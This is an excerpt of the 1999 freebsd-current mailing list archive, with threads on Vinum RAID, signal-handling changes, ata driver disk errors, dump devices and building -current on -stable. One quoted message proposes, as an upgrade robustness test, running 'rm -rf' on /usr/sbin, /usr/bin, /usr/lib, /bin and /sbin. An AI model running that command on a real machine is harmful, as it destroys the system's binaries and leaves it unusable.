From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: peter.jeremy@alcatel.com.au, freebsd-current@FreeBSD.ORG
In-Reply-To: <19991001105734.F496@freebie.lemis.com>
References: <3.0.3.32.19990930193723.00936df0@207.227.119.2>
 <3.0.3.32.19990930182053.0219b760@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <99Sep28.125643est.40332@border.alcanet.com.au>
 <3.0.3.32.19990930182053.0219b760@207.227.119.2>
 <99Oct1.094141est.40344@border.alcanet.com.au>
 <3.0.3.32.19990930193723.00936df0@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 10:57 AM 10/1/99 +0930, Greg Lehey wrote:
>You're not typical.  But you *can* grow concatenated plexes.  You just
>can't expand UFS to use the space.  That's not a Vinum issue, but
>somebody's working on it.

Yes, I realized that and donned a pointy hat.

Root (/) and OS specific files are of interest, but not as critical to me.
There are other allowance one can make for redundancy.  Beyond the scope of
this discussion.

>That's a good idea, I suppose.  I'll do that.  Done:
>http://www.lemis.com/vinum/wishlist.html.

Excellent!

As for the root issue, #3 looks the most feasible, IMHO, and should
eliminate the problems of #2 if the kernel's fs dies (unless it could try
another drive) and yet would there not be an issue should the drive that
does the bootstrapping die and the system rebooted.  Small thing, not Vinum
related, but at least things would keep going when a mirrored root fs lost
a plex.

The "snapshot" feature is interesting as well.  Guess the logging changes
is not a wish (yet) and is somewhat similar.

Thanks,


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 19: 1:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from culverk.student.umd.edu (culverk.student.umd.edu [129.2.196.87])
	by hub.freebsd.org (Postfix) with ESMTP id E47C31570A
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 19:01:23 -0700 (PDT)
	(envelope-from culverk@culverk.student.umd.edu)
Received: from localhost (culverk@localhost)
	by culverk.student.umd.edu (8.9.3/8.9.3) with ESMTP id WAA11616
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 22:00:23 -0400 (EDT)
	(envelope-from culverk@culverk.student.umd.edu)
Date: Thu, 30 Sep 1999 22:00:23 -0400 (EDT)
From: Kenneth Culver <culverk@culverk.student.umd.edu>
To: freebsd-current@freebsd.org
Subject: the libc_r problem
Message-ID: <Pine.BSF.4.10.9909302159440.11607-100000@culverk.student.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I am still getting this error when trying to compile using libc_r.so.4:

/usr/lib/libc_r.so: undefined reference to `_thread_sys_sigprocmask'

Kenneth Culver



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 19:11:51 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 578E914C1D
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 19:11:48 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id TAA24817;
	Thu, 30 Sep 1999 19:11:44 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id TAA26925;
	Thu, 30 Sep 1999 19:11:44 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930191144.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <Pine.BSF.4.10.9910010840220.17284-100000@alphplex.bde.org>
Date: Thu, 30 Sep 1999 19:11:44 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Bruce Evans <bde@zeta.org.au>
Subject: Re: Now that sigcontext is gone ...
Cc: current@FreeBSD.ORG, marcel@scc.nl
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bruce Evans wrote:

> Sigcontext will have to come back, since it is a standard BSD interface.

I think so too.  I bet there are several ports besides Modula-3 that
use it.  Probably boehm-gc does.

> BTW, struct sigcontext seems to be documented only in sigreturn.2, and
> that documentation is more than 3 stages behind reality.

I didn't even know about sigreturn.2.  The sigcontext struct is
also mentioned in sigaction.2, with a pointer to <signal.h> for the
definition of the structure.

>> currently which catches SIGBUS and uses the sigcontext's "sc_err"
>> member to find out the faulting address.  That should be replaced
>> by the siginfo_t's "si_addr" member.  But as far as I can tell from
>> grepping the kernel sources, that functionality isn't implemented.
>> 
>> Is that right?  Any ideas regarding a work-around?
> 
> The functionality of sc_trapno also seems to be unimplemented.  These
> fields are not documented, so you shouldn't be using them :-).

I'm not -- Modula-3 is. :-}

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 19:14: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 317D714CF5
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 19:14:00 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id LAA25099;
	Fri, 1 Oct 1999 11:43:53 +0930 (CST)
Date: Fri, 1 Oct 1999 11:43:53 +0930
From: Greg Lehey <grog@lemis.com>
To: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Cc: peter.jeremy@alcatel.com.au, freebsd-current@FreeBSD.ORG
Subject: Re: System crash on "vinum start"
Message-ID: <19991001114353.J496@freebie.lemis.com>
References: <19990925104024.B54407@freebie.lemis.com> <199909271705.NAA43302@concours.pc.sas.com> <3.0.3.32.19990927153730.0204c420@207.227.119.2> <19990928084130.L46202@freebie.lemis.com> <99Sep28.125643est.40332@border.alcanet.com.au> <3.0.3.32.19990930182053.0219b760@207.227.119.2> <99Oct1.094141est.40344@border.alcanet.com.au> <3.0.3.32.19990930193723.00936df0@207.227.119.2> <19991001105734.F496@freebie.lemis.com> <3.0.3.32.19990930205439.021a58c0@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <3.0.3.32.19990930205439.021a58c0@207.227.119.2>; from Jeffrey J. Mountin on Thu, Sep 30, 1999 at 08:54:39PM -0500
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thursday, 30 September 1999 at 20:54:39 -0500, Jeffrey J. Mountin wrote:
> At 10:57 AM 10/1/99 +0930, Greg Lehey wrote:
>> You're not typical.  But you *can* grow concatenated plexes.  You just
>> can't expand UFS to use the space.  That's not a Vinum issue, but
>> somebody's working on it.
>
> Yes, I realized that and donned a pointy hat.
>
> Root (/) and OS specific files are of interest, but not as critical to me.
> There are other allowance one can make for redundancy.  Beyond the scope of
> this discussion.
>
>> That's a good idea, I suppose.  I'll do that.  Done:
>> http://www.lemis.com/vinum/wishlist.html.
>
> Excellent!
>
> As for the root issue, #3 looks the most feasible, IMHO, and should
> eliminate the problems of #2 if the kernel's fs dies (unless it could try
> another drive) and yet would there not be an issue should the drive that
> does the bootstrapping die and the system rebooted.

Once we've loaded the kernel, we don't need it again.  You can delete
the kernel on a running system without any problem.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 20: 1:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id AB13514E4B
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 20:01:42 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id VAA11620;
	Thu, 30 Sep 1999 21:01:36 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id VAA01644; Thu, 30 Sep 1999 21:01:35 -0600
Date: Thu, 30 Sep 1999 21:01:35 -0600
Message-Id: <199910010301.VAA01644@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: John Polstra <jdp@polstra.com>
Cc: Bruce Evans <bde@zeta.org.au>, current@FreeBSD.ORG, marcel@scc.nl
Subject: Re: Now that sigcontext is gone ...
In-Reply-To: <XFMail.990930191144.jdp@polstra.com>
References: <Pine.BSF.4.10.9910010840220.17284-100000@alphplex.bde.org>
	<XFMail.990930191144.jdp@polstra.com>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Sigcontext will have to come back, since it is a standard BSD interface.
> 
> I think so too.  I bet there are several ports besides Modula-3 that
> use it.  Probably boehm-gc does.

The JDK does as well, at least for the green-threads stuff.



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 20:23: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from adsl-63-195-54-213.dsl.snfc21.pacbell.net (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213])
	by hub.freebsd.org (Postfix) with ESMTP id A840E14C24
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 20:22:55 -0700 (PDT)
	(envelope-from gurney_j@efn.org)
Received: (from jmg@localhost)
          by adsl-63-195-54-213.dsl.snfc21.pacbell.net (8.9.1/8.8.7) id UAA18230;
          Thu, 30 Sep 1999 20:22:49 -0700 (PDT)
Message-ID: <19990930202248.38880@hydrogen.fircrest.net>
Date: Thu, 30 Sep 1999 20:22:48 -0700
From: John-Mark Gurney <gurney_j@efn.org>
To: Nate Williams <nate@mt.sri.com>
Cc: Marcel Moolenaar <marcel@scc.nl>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au> <19990930135119.29632@hydrogen.fircrest.net> <37F3D522.2A4C79C2@scc.nl> <19990930163945.56976@hydrogen.fircrest.net> <199909302344.RAA01090@mt.sri.com> <19990930173229.61526@hydrogen.fircrest.net> <199910010059.SAA01387@mt.sri.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.69
In-Reply-To: <199910010059.SAA01387@mt.sri.com>; from Nate Williams on Thu, Sep 30, 1999 at 06:59:26PM -0600
Reply-To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Organization: Cu Networking
X-Operating-System: FreeBSD 3.0-RELEASE i386
X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31  96 7A 22 B3 D8 56 36 F4
X-Files: The truth is out there
X-URL: http://resnet.uoregon.edu/~gurney_j/
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Nate Williams scribbled this message on Sep 30:
> > P.S. It is really hard for me to not make personal attacks against you
> > after all of the above and completely ignoring the rest of my message.
> 
> No, I didn't.  My statement was that your 'confrontational' style of
> email wasn't making things any better.
> 
> Mellow it out, and instead of attacking first (thus putting folks on the
> defense) and then providing content, skip the first step.
> 
> This is the same as you've done with the response to me, attack first
> and ask questions later.  :(

this is just a notice, I am going to be taking a break from FreeBSD
for a couple weeks...  I will not be reading my freebsd.org email while
I am on the break, my other email addresses will continue to work...

-- 
  John-Mark Gurney				Voice: +1 408 975 9651
  Cu Networking					  

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 20:45:24 1999
Delivered-To: freebsd-current@freebsd.org
Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166])
	by hub.freebsd.org (Postfix) with ESMTP id 4B78D14EBC
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 20:45:18 -0700 (PDT)
	(envelope-from culverk@wam.umd.edu)
Received: from rac8.wam.umd.edu (root@rac8.wam.umd.edu [128.8.10.148])
	by po4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id XAA11581;
	Thu, 30 Sep 1999 23:45:14 -0400 (EDT)
Received: from rac8.wam.umd.edu (sendmail@localhost [127.0.0.1])
	by rac8.wam.umd.edu (8.9.3/8.9.3) with SMTP id XAA01480;
	Thu, 30 Sep 1999 23:45:07 -0400 (EDT)
Received: from localhost (culverk@localhost)
	by rac8.wam.umd.edu (8.9.3/8.9.3) with ESMTP id XAA01476;
	Thu, 30 Sep 1999 23:45:07 -0400 (EDT)
X-Authentication-Warning: rac8.wam.umd.edu: culverk owned process doing -bs
Date: Thu, 30 Sep 1999 23:45:07 -0400 (EDT)
From: Kenneth Wayne Culver <culverk@wam.umd.edu>
To: Luke <lh@aus.org>
Cc: freebsd-current@freebsd.org
Subject: RE: ata driver (again)
In-Reply-To: <XFMail.990930225126.lh@aus.org>
Message-ID: <Pine.GSO.4.10.9909302344100.1048-100000@rac8.wam.umd.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, 30 Sep 1999, Luke wrote:

> On 01-Oct-99 Kenneth Wayne Culver wrote:
> > The ata driver seems to be having problems staying in contact with my
> > disks again. Let me know what details are needed to fix the problem, and
> > I'll get in touch with you.
> > 
>         Hi I don't know if it is the same problem but I have a nagging
> problem with the ata driver as well. I am fairly sure my disk is ok but can't 
> remove it and do any checking anytime soon.
> I see errors like this:
> 
> /kernel: wd0: interrupt timeout
> (status59<rdy,seekdone,drq,err>error40<uncorr>)
> 
> /kernel: wd0: wdtimeout() DMA status 4
> /kernel: swap_pager: indefinite wait buffer: device:0x20001, blkno: 22304,
> size: 8192
> /kernel: wd0s1b: hard error reading fsbn 22304 of
> 22304-
> 22319 (wd0s1 bn 124704; cn 7 tn 194 sn 27) (status 59<rdy,seekdone,drq,err>
> erro
> r 40<uncorr>)
> ---
> 
> what kind of errors do you see? I get this with 3.3R and many different
> -current's and with the wd and ata driver. it is always in a different
> location on the disk.. 
> 
I get similar errors, but not with the wd driver, only the ata driver, and
only the timeout error. sometimes the hard error.

Ken



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 23:29:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from maulwurf.franken.de (maulwurf.franken.de [193.141.110.9])
	by hub.freebsd.org (Postfix) with ESMTP id 14F7A14C3F
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 23:29:14 -0700 (PDT)
	(envelope-from gaspode.franken.de!tanis@maulwurf.franken.de)
Received: by maulwurf.franken.de
	via rmail with stdio
	id <m11WwBs-001bD9C@maulwurf.franken.de>
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 08:29:12 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #1 built DST-May-30)
Received: (from tanis@localhost)
	by gaspode.franken.de (8.9.3/8.9.3) id IAA01118
	for freebsd-current@freebsd.org; Fri, 1 Oct 1999 08:27:20 +0200 (CEST)
	(envelope-from tanis)
Date: Fri, 1 Oct 1999 08:27:20 +0200
From: German Tischler <tanis@gaspode.franken.de>
To: freebsd-current@freebsd.org
Subject: Dump device
Message-ID: <19991001082720.A428@gaspode.franken.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi.

dumpon -v /dev/da0s1b

is failing here with

dumpon: sysctl: kern.dumpdev: No space left on device

Alright, it doesn't have minor number 1 as it is supposed to have
from the manpage, but using /dev/da0b (supposed to be the same device)
brings me to the same error.

What am I doing wrong ?

-- 
German Tischler		tanis@gaspode.franken.de
			tanis@cip.informatik.uni-wuerzburg.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 23:29:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.dk (freebsd.dk [212.242.42.178])
	by hub.freebsd.org (Postfix) with ESMTP id 016AE1535E
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 23:29:29 -0700 (PDT)
	(envelope-from sos@freebsd.dk)
Received: (from sos@localhost)
	by freebsd.dk (8.9.3/8.9.1) id IAA62851;
	Fri, 1 Oct 1999 08:28:53 +0200 (CEST)
	(envelope-from sos)
From: Soren Schmidt <sos@freebsd.dk>
Message-Id: <199910010628.IAA62851@freebsd.dk>
Subject: Re: ata driver (again)
In-Reply-To: <Pine.GSO.4.10.9909302344100.1048-100000@rac8.wam.umd.edu> from Kenneth Wayne Culver at "Sep 30, 1999 11:45:07 pm"
To: culverk@wam.umd.edu (Kenneth Wayne Culver)
Date: Fri, 1 Oct 1999 08:28:53 +0200 (CEST)
Cc: lh@aus.org (Luke), freebsd-current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

It seems Kenneth Wayne Culver wrote:
> On Thu, 30 Sep 1999, Luke wrote:
> 
> > On 01-Oct-99 Kenneth Wayne Culver wrote:
> > > The ata driver seems to be having problems staying in contact with my
> > > disks again. Let me know what details are needed to fix the problem, and
> > > I'll get in touch with you.

A dmesg to start with would be fine that way I may be able to reproduce
it here pn semilar HW.

> >         Hi I don't know if it is the same problem but I have a nagging
> > problem with the ata driver as well. I am fairly sure my disk is ok but can't 
> > remove it and do any checking anytime soon.
> > I see errors like this:
> > 
> > /kernel: wd0: interrupt timeout
> > (status59<rdy,seekdone,drq,err>error40<uncorr>)
> > 
> > /kernel: wd0: wdtimeout() DMA status 4
> > /kernel: swap_pager: indefinite wait buffer: device:0x20001, blkno: 22304,
> > size: 8192
> > /kernel: wd0s1b: hard error reading fsbn 22304 of
> > 22304-
> > 22319 (wd0s1 bn 124704; cn 7 tn 194 sn 27) (status 59<rdy,seekdone,drq,err>
> > erro
> > r 40<uncorr>)

Thats not the ata driver thats the wd driver :)
Looks like interrupt lossage to me...

-Soren


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 23:31: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 5D34414FED
	for <current@freebsd.org>; Thu, 30 Sep 1999 23:31:01 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WwDb-0005FE-00; Fri, 1 Oct 1999 06:30:59 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id IAA28901;
	Fri, 1 Oct 1999 08:30:56 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F45520.579E0BA3@scc.nl>
Date: Fri, 01 Oct 1999 08:30:56 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Don Lewis <Don.Lewis@tsc.tdk.com>
Cc: John-Mark Gurney <gurney_j@resnet.uoregon.edu>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <199909302224.PAA09543@salsa.gv.tsc.tdk.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Don Lewis wrote:
> 
> While proper cross-compilation would be really nice to have, it won't solve
> the "make world" problem.  It would get you through "make buildworld", but
> "make installworld" will overwrite the system binaries with new versions that
> use the new signal syscalls that the currently running kernel doesn't support.
> It would even be possible to cross-compile a new kernel, but it still has
> to be installed and the system rebooted before installing userland.

Correct. If you want to be able to upgrade your -stable system to
-current by simply typeing 'make upgrade', then building and installing
the kernel should be part of that target. The installworld problem can
then be solved like this (for example):

1) backup binaries that are needed by installworld
2) Install a new kernel
3) install world
4) reboot

If installworld fails halfway through step 3, and leaves you with an
unusable system, then rebooting should be able to solve that.

> In this particular case, the only thing cross-compilation would buy us
> is the ability to build (but not install) 4.x binaries on a machine
> running 3.x.  It sounds like some folks would be satisfied just having
> that.

Exactly, but done properly (or at all) installing may be possible as
well. I think we should aim for that to happen and see where it leads
us.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 23:33: 7 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 0C04915174
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 23:32:57 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id QAA27589;
	Fri, 1 Oct 1999 16:02:37 +0930 (CST)
Date: Fri, 1 Oct 1999 16:02:37 +0930
From: Greg Lehey <grog@lemis.com>
To: German Tischler <tanis@gaspode.franken.de>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Dump device
Message-ID: <19991001160236.Y496@freebie.lemis.com>
References: <19991001082720.A428@gaspode.franken.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19991001082720.A428@gaspode.franken.de>; from German Tischler on Fri, Oct 01, 1999 at 08:27:20AM +0200
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Friday,  1 October 1999 at  8:27:20 +0200, German Tischler wrote:
> Hi.
>
> dumpon -v /dev/da0s1b
>
> is failing here with
>
> dumpon: sysctl: kern.dumpdev: No space left on device
>
> Alright, it doesn't have minor number 1 as it is supposed to have
> from the manpage, but using /dev/da0b (supposed to be the same device)
> brings me to the same error.
>
> What am I doing wrong ?

I suspect you don't have enough space on the device.  How big is it?
How big is your memory?

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 23:39: 6 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 0EC7114FED
	for <current@freebsd.org>; Thu, 30 Sep 1999 23:39:02 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WwMl-000F1W-00; Fri, 1 Oct 1999 06:40:27 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id IAA29166;
	Fri, 1 Oct 1999 08:38:55 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F456FF.5919D55E@scc.nl>
Date: Fri, 01 Oct 1999 08:38:55 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Don Lewis <Don.Lewis@tsc.tdk.com>,
	Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <marcel@scc.nl> <199909302224.PAA09543@salsa.gv.tsc.tdk.com> <19990930161431.03330@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:
> 
> if people are interested, I can take a look at it... it'd be interesting
> to be able to do something like; make prep-installworld; rm -rf
> /usr/{sbin,bin,lib} /{bin,sbin}; make installworld and have it
> complete... :)

Yes, please. Don't forget to install the newly built kernel as part of
an upgrade process. It may not be appropriate in a normal installworld,
though.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Oct  1  0: 2:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-10.mail.nl.demon.net [194.159.73.20])
	by hub.freebsd.org (Postfix) with ESMTP id 8057D14D44
	for <current@freebsd.org>; Fri,  1 Oct 1999 00:02:44 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.02 #1)
	id 11WwiI-0005rg-00; Fri, 1 Oct 1999 07:02:42 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id JAA29848;
	Fri, 1 Oct 1999 09:02:36 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F45C8C.D3ED77F9@scc.nl>
Date: Fri, 01 Oct 1999 09:02:36 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au> <19990930135119.29632@hydrogen.fircrest.net> <37F3D522.2A4C79C2@scc.nl> <19990930163945.56976@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:
> 
> you don't under stand, we are NOT talking about upgrades, we are talking
> about how to make a buildable system on -stable...  the make buildworld
> -DNOTOOLS does not work, and will not work for what I like to do.. I
> need tools from -current that RUN ON -stable...

I do understand. You would have known if you followed the other threads
on this topic.

> you completely cut the whole part of me agreeing w/ Peter about
> -DACIENTTOOLS...  and so you know, (this is unrelated to the -current
> tools running on -stable), you can't do a buildworld w/ -DNOTOOLS and
> have it succeed:

I haven't had time to read is suggestion, contemplate and determine its
strengths and weaknesses for myself. If everybody stopped whining for a
minute ;-)

> ===> libgcc
> echo '#include <i386/xm-i386.h>' > config.h
> echo '#include <xm-freebsd.h>' >> config.h
> echo '#include "i386/xm-i386.h"' > tconfig.h
> echo '#include "i386/i386.h"' > tm.h
> echo '#include "i386/att.h"' >> tm.h
> echo '#include "i386/freebsd.h"' >> tm.h
